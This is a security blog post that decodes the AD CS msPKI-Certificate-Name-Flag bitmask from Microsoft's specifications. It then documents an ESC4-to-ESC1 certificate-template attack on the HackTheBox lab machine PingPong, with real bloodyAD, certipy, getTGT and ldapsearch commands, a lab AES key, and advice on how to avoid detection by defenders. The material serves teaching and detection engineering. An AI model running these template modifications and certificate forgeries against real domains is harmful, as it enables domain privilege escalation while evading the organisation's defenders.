-1577058304 on PingPong. 0 on Westbridge, weeks later. Same attribute — msPKI-Certificate-Name-Flag — two answers, one negative, one blank, and Google had nothing useful for either: the same copied 5-row table everywhere, none of it able to decode a negative number or explain what the CA would do with it. At that point the white rabbit was already running, and the only option was to follow — into the spec, into the bitmask, into two live boxes. It started as an appendix to the Westbridge writeup. It was too big for an appendix, so it became this.
The msPKI-Certificate-Name-Flag attribute is frequently explained using an oversimplified, inaccurate sequential bitmask in Active Directory Certificate Services (AD CS) write-ups. If you are relying on community cheat sheets to identify ESC1 or ESC4 vulnerabilities, you might be missing critical attack paths due to a fundamental misunderstanding of how this attribute is structured.
This post uses the official Microsoft protocol specifications as the source of truth to decode the exact values, expose the common “5-row table” fallacy, and provide a definitive reference for offensive operators and detection engineers. The second half is a full end-to-end run of the ESC4➜ESC1 chain on the live HackTheBox machine PingPong — every command, every output, every failure.
TL;DR
msPKI-Certificate-Name-Flag is a bitmask — not a boolean. And yes: in a lab, bloodyAD set object ... -v 1 gives you the same forged cert. Everyone who says “just 0➜1, what’s the use” is right — until the baseline has bits you can’t afford to lose. On PingPong the baseline is 0xa2000000: three require-bits encoding UPN, email, and directory-path requirements. A dirty write of 1 wipes all three — the template stops building identities from AD, someone’s smartcard auth changes shape, and the blue team gets a ticket. The correct move is an OR: read the existing value, compute existing | 1, write back the combined result. 0xa2000000 ➜ 0xa2000001 is a one-bit delta and a clean exploit. 0xa2000000 ➜ 0x00000001 is a demolition. In a CTF lab, none of this matters. In a real engagement, it’s the difference between a clean op and getting caught because someone’s smartcard stopped working. Read the baseline. OR into it.
Context — what this post is. The attack-class background for why a writable certificate template is ESC4 (SpecterOps’ Certified Pre-Owned by Will Schroeder and Lee Christensen, 2021), and the case study of one require-bit being abused in production (CVE-2022-26923 / Certifried) are linked from the relevant sections below. This post focuses on the bitmask itself: the value of each bit and the behaviour it triggers on the CA. Then it weaponises it live.
The Canonical Sources
To understand how this flag actually works, we have to look past the Windows GUI and read the documentation that dictates the protocol. There are three sources of truth, in order of authority:
-
[MS-CRTD] (Certificate Templates Structure): The Open Spec that defines every certificate-template attribute. Section 2.28 of MS-CRTD defines the bitmask; Section 3 is the worked structure example. This is the only spec that defines the values.
-
[MS-WCCE] (Windows Client Certificate Enrollment Protocol): The on-wire protocol. Section 3.2.2.6.2.1.4.5.9 of MS-WCCE describes what the CA MUST or SHOULD do on the wire when a bit is set. Use this for the behaviour of a bit.
-
The Microsoft Learn AD-schema page: Documentation only. It confirms the attribute is a 4-byte, single-valued field on
PKI-Certificate-Template; its “Update Privilege: Domain administrator” line is the schema default, not an enforced ACL — the ESC4 writes in this post are performed by a non-DA principal. The page does not enumerate the bits.
The 13 Defined Bits
The attribute is a 4-byte sparse bitmask. Thirteen bits are defined in MS-CRTD; the remaining 19 bits are unused and reserved — they have no Microsoft-defined meaning. The bits fall into three layers, and keeping them separate is the whole trick:
- CA supply bit: Bit 0 — the only flag the CA consults when deciding whether to accept a request-supplied identity.
- Client hints: Bits 3 and 16 — they change what the Windows enrollment client puts in the CSR; the CA ignores Bit 16 and never consults Bit 3.
- Require bits: What identity format the CA will accept; the CA reads that field from the requester’s AD object and bakes it into the cert (mostly MUST; bit 22 is a SHOULD).
| Bit | Hex value | Dec value | Flag name | Group | Behaviour |
|---|---|---|---|---|---|
| 0 | 0x00000001 |
1 | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT |
CA | Requester supplies the Subject DN and the SAN in the CSR. Per [MS-WCCE] rule 3, when this bit is set the CA MUST use both the subject and subject alternative name information from the request; without it, the CA builds the identity from the requester’s AD object. This is the bit that makes certipy req -upn … -sid … work. |
| 3 | 0x00000008 |
8 | CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME |
client | Client-side only. Only consulted by the Windows enrollment client — and only when Bit 0 or Bit 16 is already set — to copy the subject and SAN from an existing valid certificate during renewal ([MS-WCCE] 3.1.2.4.2.2.2.10 rule 1.1). Bit 3 alone is inert; the CA never reads it. |
| 16 | 0x00010000 |
65 536 | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME |
client | A client-side CSR-construction hint: if Bit 0 or Bit 16 is set, the Windows client puts subject/SAN in the request ([MS-WCCE] 3.1.2.4.2.2.2.10 rule 1). The CA, however, MUST ignore it ([MS-WCCE] 3.2.2.6.2.1.4.5.9 rule 1). It does not make a template forgeable — Bit 0 does that. Do not key ESC1 detection on this bit. |
| 22 | 0x00400000 |
4 194 304 | CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS |
require | CA SHOULD open the information policy for the requester’s dNSHostName and add its Name and DNSDomainName fields to the SAN ([MS-WCCE] rule 8 — a SHOULD wrapper with a MUST inside). |
| 23 | 0x00800000 |
8 388 608 | CT_FLAG_SUBJECT_ALT_REQUIRE_SPN |
require | Despite the SPN in the flag name, the CA MUST add the value of the userPrincipalName attribute — not servicePrincipalName — from the requester’s user object to the SAN ([MS-CRTD] 2.28; [MS-WCCE] rule 5). For the CA, bit 23 and bit 25 are the same requirement. |
| 24 | 0x01000000 |
16 777 216 | CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID |
require | CA MUST add the value of the objectGuid attribute from the requester’s user object to the SAN extension. |
| 25 | 0x02000000 |
33 554 432 | CT_FLAG_SUBJECT_ALT_REQUIRE_UPN |
require | [MS-WCCE] rule 5 says the CA MUST add the requester’s userPrincipalName to the SAN. In the live Bit-0 case the CSR’s SAN won instead — 0xa2000001 carried only the supplied Administrator UPN (see the Certifried section). |
| 26 | 0x04000000 |
67 108 864 | CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL |
require | CA MUST add the value of the mail attribute from the requester’s user object to the SAN extension. |
| 27 | 0x08000000 |
134 217 728 | CT_FLAG_SUBJECT_ALT_REQUIRE_DNS |
require | CA MUST add the value of the dNSHostName attribute from the requester’s computer object to the SAN extension. This bit enabled Certifried (CVE-2022-26923). |
| 28 | 0x10000000 |
268 435 456 | CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN |
require | If bit #31 is not set, the CA MUST set the Subject CN to the requester’s dNSHostName (machine certs) or cn (user certs). |
| 29 | 0x20000000 |
536 870 912 | CT_FLAG_SUBJECT_REQUIRE_EMAIL |
require | CA MUST set the Subject field to a DN whose E (email) component comes from the requester’s mail attribute. |
| 30 | 0x40000000 |
1 073 741 824 | CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME |
require | If bit #31 is not set, the CA MUST set the Subject CN to the requester’s dNSHostName (machine certs) or cn (user certs) — [MS-WCCE] rule 2.3. |
| 31 | 0x80000000 |
2 147 483 648 (signed: −2 147 483 648) | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH |
require | CA MUST set the Subject field to the requester’s full distinguishedName from the directory. Takes precedence over bits 28 and 30. |
Why bits 28 and 30 read the same. [MS-CRTD] 2.28 defines them separately — bit 28 takes the DNS value as the CN, bit 30 takes the requester’s cn — but [MS-WCCE] rule 2.3 groups them at the CA: when bit 31 is clear, either flag makes the CA use dNSHostName for a machine cert or cn for a user cert. The table describes what the CA will sign, so both rows carry the rule 2.3 result; the MS-CRTD distinction lives in the flag names.
Signed-int32 trap. The attribute is a 4-byte unsigned bitmask, but most LDAP clients —
bloodyAD,ldapsearch, ADUC — return it as a signed int32. That means any template with the high bit set (bit 31 alone, or combinations including it) comes back negative. A template whose flag value is0xa6000000is the Administrator template from MS-CRTD Section 3; what your tooling will print is-1509949440. Always convert the returned value to unsigned hex before doing bit comparisons —(val & 0x1) != 0is correct,val == 1is not.
Client-side hint vs. CA-side enforcement. The column in MS-CRTD 2.28 is headed “Client processing” — the table tells the client what each flag is meant to make the CA do. The CA’s actual rules live in a separate section ([MS-WCCE] 3.2.2.6.2.1.4.5.9), and they are narrower:
- Rule 1: “The CA MUST ignore the
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAMEflag.”- Rule 3: “If
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTis set, then the CA MUST use the subject and subject alternative name information provided in the certificate request.”So Bit 0 is the only CA-enforced supply switch. Bit 16 tells the Windows client to put a SAN in the CSR, and Bit 3 tells it to copy one from an old certificate — but an attacker running
certipy reqwrites the CSR directly and needs neither. Flipping0x1alone is what openedSmartcardAuthenticationon PingPong.
The Two-Mode Framework — What Makes a Template Abusable
A template is “safe” at the name-flag layer (cannot be abused by supplying an arbitrary Subject or SAN) if and only if Bit 0 is clear. In this case, the CA builds the cert’s identity from the requester’s AD object per the require bits — the requester can submit any CSR but the resulting cert will still be bound to their AD identity, not the one they typed into the CSR. Bits 3 and 16 are client hints; they change nothing at the CA. The machine-template exception is bit 27 without bit 25, covered below.
A template is “abusable” at the name-flag layer once Bit 0 is set, provided the template also carries an authentication EKU, manager approval is off, and the requester meets the template’s enrollment rights. Concretely:
- Bit 0 set ➜ the requester chooses the Subject DN and the SAN. Submit a CSR with
Subject = CN=Administrator,...andSAN UPN = administrator@domain; per [MS-WCCE] rule 3, the CA uses both as-is — confirmed live on PingPong. Note thatcertipy req -upnis a SAN write; unless you also pass-subject, certipy still puts a defaultCN=<username>in the CSR. With Bit 0 set the CA uses that CSR subject as-is, so the live no--subjectcert came backCN=C.roberts— not the requester’s AD DN. The forged SAN and SID URL are what PKINIT uses, so the Subject does not affect the attack. This is the canonical ESC1 — a forgeable identity token. - Bit 16 set ➜ client-side only. The Windows client puts a SAN in the CSR; the CA ignores the flag ([MS-WCCE] rule 1). Not abusable on its own.
- Bit 3 set ➜ client-side only, and only reached when Bit 0 or Bit 16 is already set. Not abusable on its own.
The require bits do not by themselves make a template abusable. They constrain what the CA will populate; they never let the requester override the requester’s own identity. A template with only CT_FLAG_SUBJECT_ALT_REQUIRE_UPN and CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME set (e.g. 0x42000000) is a perfectly safe user/workstation template.
The dangerous combination is Bit 0 + require bits: a template with Bit 0 + Bit 24 (0x01000001, decimal 16 777 217 — the example in the next section) is abusable and still carries a require-bit, which is what makes combined values fly under “static integer” detection. The real value from PingPong is 0xa2000001: Bit 0 plus three require-bits, and it looks nothing like 1.
The “5-Row Sequential” Fallacy
Many community writeups and cheat sheets erroneously reduce this 32-bit sparse bitmask into a fake 1-through-5 sequential progression. This stems from researchers clicking through the certtmpl.msc GUI dropdowns and assuming the underlying LDAP values increment sequentially (1, 2, 3, 4, 5).
Some writeups reference the old-cert flag but map it to the decimal value 4. In reality, the CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME flag exists, but its actual value is 0x00000008 (decimal 8). There is no 0x2 and no 0x4 in the attribute’s valid set.
Teaching operators to look exclusively for isolated integers like 1 or 65536 causes them to overlook critical ESC1 vulnerabilities. A template might have the subject-and-SAN supply bit set (0x00000001) but also require a Directory GUID (0x01000000), resulting in a combined value like 0x01000001 (decimal 16777217). If your tooling or cheat sheet is only searching for a static 1 or 65536, you will completely miss the vulnerability — test the bit with (value & 0x1) != 0 instead.
CT_FLAG_SUBJECT_ALT_REQUIRE_DNS — The Bit That Enabled Certifried
Bit 27 (0x08000000, CT_FLAG_SUBJECT_ALT_REQUIRE_DNS) deserves its own note because it’s the require-bit that turned a configuration mistake into a domain-takeover CVE.
The bit tells the CA: “When you issue this certificate, copy the requester’s dNSHostName attribute into the SAN extension.” For a normal machine cert this is fine: the requesting computer’s dNSHostName is a property the domain already trusts. The obstacle is SPN uniqueness: rewriting dNSHostName also rewrites the HOST/<dns> and RestrictedKrbHost/<dns> SPNs, and SPNs must be unique, so pointing a machine at the DC’s name collides with the DC’s own SPNs and the write fails. Oliver Lyak (ly4k) found the move: delete the SPNs that embed the old dNSHostName first; the remaining SPNs embed the sAMAccountName (without the $) — a value that is already unique in the domain — so they do not collide with the DC’s FQDN-based SPNs. With those gone the dNSHostName write succeeds. Any user who can create a machine account (default ms-DS-MachineAccountQuota is 10) could then enroll against the Machine template (which carries bit 27) and receive a certificate with the DC’s dNSHostName in the SAN. PKINIT maps a machine cert by splitting that DNSName into <computer>.<domain> and comparing <computer> to the account’s sAMAccountName minus $, so the cert authenticates as DC$. DCSync follows — no relay step.
Microsoft’s fix (May 2022, CVE-2022-26923) was two changes, and neither deprecated the bit. First, patched CAs embed the requester’s objectSid in the szOID_NTDS_CA_SECURITY_EXT extension, and a patched KDC rejects that mismatch with KDC_ERR_CLIENT_NAME_MISMATCH (“Client name mismatch in certificate.”) — the same rejection an ESC1 certificate gets when its enrollee omits -sid, because the certificate lacks a matching SID for the forged UPN. Second, the validated write on dNSHostName now requires the value to match the account’s sAMAccountName. Templates that set CT_FLAG_NO_SECURITY_EXTENSION (0x80000, in msPKI-Enrollment-Flag — a different attribute) suppress the SID binding and remain the ESC9 path. Bit 27 is not the bug by itself; the bug is bit 27 plus control over a machine account’s dNSHostName plus an issued cert with no SID binding.
The user-side counterpart — the bit meant to constrain an attacker who tries to supply the UPN — is Bit 25 (CT_FLAG_SUBJECT_ALT_REQUIRE_UPN). [MS-WCCE] rule 5 fires on bit 23 or bit 25 and says the CA MUST add the requester’s real userPrincipalName to the SAN, so test flag & 0x02800000 when auditing for UPN injection; checking bit 25 alone misses a REQUIRE_SPN-only template. In the live Bit-0 case the request’s SAN won instead: a certificate at 0xa2000001 carried only the supplied Administrator@ping.htb — no second UPN from the requester. For Certifried the audit question is not REQUIRE_UPN at all: it is whether a bit-27 machine template is enrollable by a machine account whose dNSHostName you can write, and whether the CA and KDC enforce the SID binding.
How To Actually Read It — Operators and Auditors
Step 1 — pull the attribute from a known template. The attribute lives on the template object under CN=<Template>,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>. Two equivalent reads — bloodyAD and raw ldapsearch -Y GSSAPI (Kerberos bind using a ccache):
➜ bloodyAD --host dc1.ping.htb -d ping.htb \
-u r.martinelli -k ccache=r.martinelli.ccache \
get object 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \
--attr msPKI-Certificate-Name-Flag
distinguishedName: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
msPKI-Certificate-Name-Flag: -1577058304
# Alt — raw ldapsearch, no third-party tooling:
➜ env KRB5CCNAME='r.martinelli.ccache' \
ldapsearch -LLL -H ldap://dc1.ping.htb -Y GSSAPI -N \
-b 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \
msPKI-Certificate-Name-Flag
SASL/GSSAPI authentication started
SASL username: r.martinelli@PONG.HTB
SASL SSF: 256
SASL data security layer installed.
dn: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services
,CN=Services,CN=Configuration,DC=ping,DC=htb
msPKI-Certificate-Name-Flag: -1577058304
-1577058304 (= 0xa2000000 unsigned) = three require-bits set, no supply bit. That’s a safe baseline with three explicit guardrails baked in: SUBJECT_ALT_REQUIRE_UPN (which forces the CA to add the requester’s real UPN to the SAN while Bit 0 is clear), SUBJECT_REQUIRE_EMAIL, and SUBJECT_REQUIRE_DIRECTORY_PATH. The CA builds the cert’s identity from the requester’s AD object per those require-bits — the requester can submit any CSR but the resulting cert will still be bound to their AD identity, not the one they typed.
Step 2 — enumerate every template, not just one. Drop the leaf-CN from the search base and pull three attributes at once — msPKI-Certificate-Name-Flag (the bitmask), pKIExtendedKeyUsage (which EKUs the template issues), and displayName (so the output is human-readable). Together these three determine what the cert will look like and what it will be trusted for:
➜ env KRB5CCNAME='r.martinelli.ccache' \
ldapsearch -LLL -H ldap://dc1.ping.htb -Y GSSAPI -N \
-b 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' \
'(objectClass=pKICertificateTemplate)' \
msPKI-Certificate-Name-Flag displayName pKIExtendedKeyUsage
SASL/GSSAPI authentication started
SASL username: r.martinelli@PONG.HTB
SASL SSF: 256
SASL data security layer installed.
dn: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Con
figuration,DC=ping,DC=htb
displayName: User
pKIExtendedKeyUsage: 1.3.6.1.4.1.311.10.3.4
pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.4
pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2
msPKI-Certificate-Name-Flag: -1509949440
...[snip — 33 more templates]...
dn: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services
,CN=Services,CN=Configuration,DC=ping,DC=htb
displayName: Smartcard Authentication
pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2
pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.4
pKIExtendedKeyUsage: 1.3.6.1.4.1.311.10.3.4
msPKI-Certificate-Name-Flag: -1577058304
SmartcardAuthentication carries Client Authentication (1.3.6.1.5.5.7.3.2) — the EKU that makes a forged cert PKINIT-viable. That’s the second half of the ESC1 condition, sitting there waiting for the first.
If you don’t want to enumerate by hand, certipy find checks ESC1–ESC17 (v5.1.0) — useful as a starting point and a cross-check. It is not a complete classifier: the verdict depends on the seat running it, and it only reports what its checks know how to see.
➜ env KRB5CCNAME=c.roberts.ccache \
certipy find \
-target dc1.ping.htb \
-u 'c.roberts@ping.htb' -k -no-pass \
-vulnerable -stdout
...[snip]...
[!] Vulnerabilities
ESC13 : Template allows client authentication and issuance policy is linked to group 'CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb'.
Certipy’s verdict is seat-dependent — it only reports an ESC4 when the principal running the census has dangerous permissions on the template. From a low-priv seat it sees only the box’s other AD CS story (ESC13 on TemporaryWinRM); the ESC4 shows up later, once write is in hand. The surviving write-granted census (20260905025554_Certipy.json) was taken after the flag flip, so it reports both ESC1 and ESC4 for SmartcardAuthentication — the pre-flip view showed ESC4 alone, because the ESC1 check needs Bit 0:
➜ jq -r '.["Certificate Templates"] | to_entries[] | select(.value.["[!] Vulnerabilities"] != null and .value.["[!] Vulnerabilities"] != "") | "\(.key)\t\(.value.["Template Name"])\t\(.value.["[!] Vulnerabilities"])"' 20260905025554_Certipy.json
0 SmartcardAuthentication {"ESC1":"Enrollee supplies subject and template allows client authentication.","ESC4":"User has dangerous permissions."}
1 TemporaryWinRM {"ESC13":"Template allows client authentication and issuance policy is linked to group 'CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb'."}
That JSON was saved by the same seat’s post-flip -vulnerable -stdout census — Certipy v5.1.0 writes the default _Certipy.json alongside the console dump whenever no explicit output-format flag is given, so no special flag was needed.
Two templates matter on this box: SmartcardAuthentication (the ESC4 this post chases) and TemporaryWinRM (the ESC13 foothold route). The walkthrough below is about the first one.
Step 3 — convert to unsigned hex. Whatever the tool printed, force it into an unsigned 32-bit field before bit-comparison. The minimum-viable Python:
def decode_flag(val: int) -> list[str]:
"""Return the names of every set CT_FLAG_* bit in `val`."""
val &= 0xFFFFFFFF # force unsigned 32-bit
names = {
0x00000001: "CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT",
0x00000008: "CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME",
0x00010000: "CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME",
0x00400000: "CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS",
0x00800000: "CT_FLAG_SUBJECT_ALT_REQUIRE_SPN",
0x01000000: "CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID",
0x02000000: "CT_FLAG_SUBJECT_ALT_REQUIRE_UPN",
0x04000000: "CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL",
0x08000000: "CT_FLAG_SUBJECT_ALT_REQUIRE_DNS",
0x10000000: "CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN",
0x20000000: "CT_FLAG_SUBJECT_REQUIRE_EMAIL",
0x40000000: "CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME",
0x80000000: "CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH",
}
return [n for mask, n in names.items() if val & mask]
# Example: a template bloodyAD prints as "-1509949440" decodes to:
print(decode_flag(-1509949440))
# ['CT_FLAG_SUBJECT_ALT_REQUIRE_UPN',
# 'CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL',
# 'CT_FLAG_SUBJECT_REQUIRE_EMAIL',
# 'CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH']
That input is 0xa6000000 — the worked example from MS-CRTD Section 3 (Structure Example), using the built-in Administrator template: UPN and email required into the SAN, email and full DN required into the Subject. Note what is not set: no supply bit.
Step 4 — apply the two-mode framework. After decoding, ask exactly two questions:
- Is Bit 0 (
0x1) set? ((val & 0x1) != 0.) If yes, the name-flag layer is abusable — then check the template’s EKUs, enrollment rights and manager approval; that’s your ESC1 (or an ESC4➜ESC1 chain if the attacker hasWrite/WriteDaclon the template object). Bit 16 (0x10000) is a client hint the CA ignores, and Bit 3 only matters when Bit 0 or 16 is already set. - For machine templates specifically: is
SUBJECT_ALT_REQUIRE_DNSset withoutSUBJECT_ALT_REQUIRE_UPN? If yes, that’s the Certifried pre-patch shape and the template needspKIExtendedKeyUsage, enrollment rights, and manager approval all reviewed together.
If both questions are “no,” the template is safe at the name-flag layer. The remaining attack surface for that template is elsewhere — pKIExtendedKeyUsage (any dangerous EKU?), msPKI-Enrollment-Flag bit 0x2 (CT_FLAG_PEND_ALL_REQUESTS, manager approval), msPKI-RA-Signature (RA signature count on v1 templates), ntSecurityDescriptor (who can write?), msPKI-Private-Key-Flag — but the name-flag is not your problem there.
The OPSEC Trap — Appending vs. Overwriting
When running an ESC4 ➜ ESC1 chain, the tempting command is bloodyAD set object ... msPKI-Certificate-Name-Flag -v 1. It works in a CTF. On a live engagement it’s a helpdesk ticket waiting to happen.
msPKI-Certificate-Name-Flag is a unified bitmask — every write replaces the whole field. Setting it to 1 doesn’t “add” CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT; it wipes everything else that was set. The HackTheBox machine PingPong ships a SmartcardAuthentication template with a three-require-bit baseline:
0xa2000000 = bit 25 (SUBJECT_ALT_REQUIRE_UPN) ← UPN require
+ bit 29 (SUBJECT_REQUIRE_EMAIL)
+ bit 31 (SUBJECT_REQUIRE_DIRECTORY_PATH)
Running -v 1 against that template wipes all three. The UPN require-bit is the one that forces the CA to add the requester’s real userPrincipalName; losing it removes that guardrail. On a machine template that also carries the DNS require-bit (bit 27), the overwrite wipes that binding too — the template stops behaving like the machine template it was, and the change is no longer a one-bit delta. You get your ESC1 path and simultaneously strip three guardrails the template shipped with. Verified live on 2026-09-04: baseline 0xa2000000 ➜ -v 1 ➜ 0x00000001 (re-read via ldapsearch -Y GSSAPI, confirmed).
The classic move is a bitwise OR, not a static write. Read the existing value, OR in Bit 0, write the combined result back. Every original require bit survives untouched:
# What bloodyAD / ldapsearch printed (signed int32 — high bit set makes it negative)
existing = -1577058304
# Force unsigned 32-bit, OR in Bit 0 (0x1). Per MS-WCCE rule 3 the CA takes the
# CSR's Subject and SAN as-is — one bit is all certipy req -upn needs.
new = (existing & 0xFFFFFFFF) | 0x1
print(f'0x{new:08x} ({new})')
# 0xa2000001 (2717908993) signed: -1577058303
Same write, same ESC1 capability, original require bits intact. The principle: never overwrite the bitmask, always OR into it. The walkthrough below proves the OR form end-to-end, then shows the overwrite at the bitmask level.
Real Domain Walkthrough — PingPong
The Box and the Seat
PingPong is a two-forest box. PING.HTB hosts the PKI — the CA ping-DC1-CA on dc1.ping.htb, and every template in its Configuration partition. PONG.HTB is a trusted partner forest where the foothold lives: r.martinelli, authenticated with an AES key. BloodHound’s foreign security principal edges are what pointed at the path — the r.martinelli seat in PONG.HTB resolves to write rights on the SmartcardAuthentication template object in PING.HTB’s Configuration partition. One forest writes, the other forest enrolls. That split is the whole story of the box, and it dictates every tool choice below. The addresses:
# DC1's VPN-facing IP changes between deployments; DC2 is stable — substitute your own:
➜ export target_dc1_ip=10.129.245.56
➜ export target_dc2_ip=192.168.2.2
➜ printf '%s\n' \
"$target_dc1_ip DC1.ping.htb ping.htb DC1" \
"$target_dc2_ip DC2.pong.htb pong.htb DC2" | sudo tee -a /etc/hosts
The controllers run about eight hours ahead; for this run the host clock was synced to DC1 with sudo ntpdate dc1.ping.htb, so the blocks below carry no fake_time prefix.
# Generate a TGT
➜ getTGT.py 'pong.htb/r.martinelli' \
-aesKey 61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98 \
-dc-ip $target_dc2_ip
# Cross-Realm LDAP Ticket
➜ env KRB5CCNAME='r.martinelli.ccache' \
kvno ldap/dc1.ping.htb
ldap/dc1.ping.htb@PING.HTB: kvno = 7
A TGT from the PONG KDC — nothing special yet. But it’s a ticket for a different forest than the one we’re about to attack, and that’s the wrinkle the whole box hangs on. kvno asks the PONG KDC for a service ticket to ldap/dc1.ping.htb; the PONG KDC doesn’t own that SPN, so it issues a cross-realm referral. The system’s native libkrb5 hops to the PING KDC and the service ticket lands in the ccache — silently, correctly. A one-shot Impacket TGS request pinned to the PONG KDC cannot make this hop in a single command. Every tool choice from here on is decided by that sentence.
The Wall — Certipy meets DC2
“How I Learned to Stop Worrying and Love GSSAPI”
First instinct: certipy find against the home domain controller. It takes five attempts — three hard failures and two hollow successes — before the manual route earns its place, and the first failure is a typo.
Attempt zero is the failure nobody puts in the writeup:
➜ env KRB5CCNAME='r.martinelli.ccache' \
certipy find -k -no-pass \
-ldap-scheme -no-ldap-signing \
-target dc2.pong.htb -dc-ip $target_dc2_ip \
-stdout -vulnerable
usage: certipy find [-h] ...
certipy find: error: argument -ldap-scheme: expected one argument
-ldap-scheme takes a value. -no-ldap-signing starts with a dash, so argparse reads it as the next option and reports the value missing. Give the flag a value and the real attempts begin.
➜ env KRB5CCNAME='r.martinelli.ccache' \
certipy find -k -no-pass \
-ldap-scheme ldap \
-target dc2.pong.htb -dc-ip $target_dc2_ip \
-stdout -vulnerable
[*] Finding certificate templates
[*] Found 0 certificate templates
[*] Finding certificate authorities
[*] Found 0 certificate authorities
[*] Found 0 enabled certificate templates
[*] Finding issuance policies
[*] Found 1 issuance policy
[*] Found 0 OIDs linked to templates
[*] Enumeration output:
Certificate Authorities : [!] Could not find any CAs
Certificate Templates : [!] Could not find any certificate templates
Attempt one worked — signed GSSAPI, authenticated, seventeen seconds — and found nothing. Certipy isn’t broken. It’s answering a question about the wrong forest.
➜ env KRB5CCNAME='r.martinelli.ccache' \
certipy find -k -no-pass \
-ldap-scheme ldap -no-ldap-signing \
-target dc2.pong.htb -dc-ip $target_dc2_ip \
-stdout -vulnerable
[-] LDAP Kerberos authentication failed: {'result': 8, 'description': 'strongerAuthRequired', 'dn': '', 'message': '00002028: LdapErr: DSID-0C090341, comment: The server requires binds to turn on integrity checking if SSL\\TLS are not already active on the connection, data 0, v4f7c\x00', 'referrals': None, 'saslCreds': b'\xa1\x140\x12\xa0\x03\n\x01\x00\xa1\x0b\x06\t*\x86H\x82\xf7\x12\x01\x02\x02', 'type': 'bindResponse'}
[-] Got error: LDAP authentication refused because LDAP signing is required. Try one of these options:
- Remove '-no-ldap-signing' to enable LDAP signing
- Use '-ldap-scheme ldaps' to use TLS encryption
- Use '-ldap-simple-auth' for SIMPLE bind authentication
[-] Use -debug to print a stacktrace
Attempt two is the real lesson: strongerAuthRequired. DC2 requires integrity protection on every bind. Even with a valid Kerberos ticket, -no-ldap-signing tells Impacket to strip the GSSAPI signature from the LDAP packets — the DC’s response is request the integrity check or don’t talk to me. The manual route (ldapsearch -Y GSSAPI, no extra flags) negotiates signing automatically. One flag’s difference between a refusal and a session.
➜ env KRB5CCNAME='r.martinelli.ccache' \
certipy find -k -no-pass \
-ldap-scheme ldap -ldap-simple-auth \
-target dc2.pong.htb -dc-ip $target_dc2_ip \
-stdout -vulnerable
# ...same enumeration as attempt one...
Certificate Authorities : [!] Could not find any CAs
Certificate Templates : [!] Could not find any certificate templates
Attempt three binds and gets the same zero — consistent with an empty PKI, though a simple bind without a password is the weaker of the two zero-result attempts. The proof is the signed query below.
➜ env KRB5CCNAME='r.martinelli.ccache' \
certipy find -k -no-pass \
-ldap-scheme ldap -ldap-scheme ldaps \
-target dc2.pong.htb -dc-ip $target_dc2_ip \
-stdout -vulnerable
[-] Got error: ("('socket ssl wrapping error: [SSL: UNEXPECTED_EOF_WHILE_READING] EOF occurred in violation of protocol (_ssl.c:1010)',)",)
[-] Use -debug to print a stacktrace
Attempt four tries LDAPS. Port 636 on dc2 doesn’t just reject — it drops the TLS handshake mid-flight. No TLS there. (And yes, the doubled -ldap-scheme is the command as it ran — argparse keeps the last value, so this is just -ldap-scheme ldaps. A typo that happened to point the same way as the intent. Flip the order and it silently does plain LDAP — same typo, ten minutes of confusion.)
The Verdict — PONG Has No PKI
The native way settles it. Same seat, same signed bind that satisfied DC2’s enhanced security, but pointed at both halves of the Configuration partition:
➜ env KRB5CCNAME='r.martinelli.ccache' \
ldapsearch -LLL -H ldap://dc2.pong.htb -Y GSSAPI -N \
-b 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=pong,DC=htb' \
'(objectClass=pKIEnrollmentService)' certificateTemplates
SASL/GSSAPI authentication started
SASL username: r.martinelli@PONG.HTB
SASL SSF: 256
SASL data security layer installed.
➜ env KRB5CCNAME='r.martinelli.ccache' \
ldapsearch -LLL -H ldap://dc2.pong.htb -Y GSSAPI -N \
-b 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=pong,DC=htb' \
'(objectClass=pKICertificateTemplate)' name
SASL/GSSAPI authentication started
SASL username: r.martinelli@PONG.HTB
SASL SSF: 256
SASL data security layer installed.
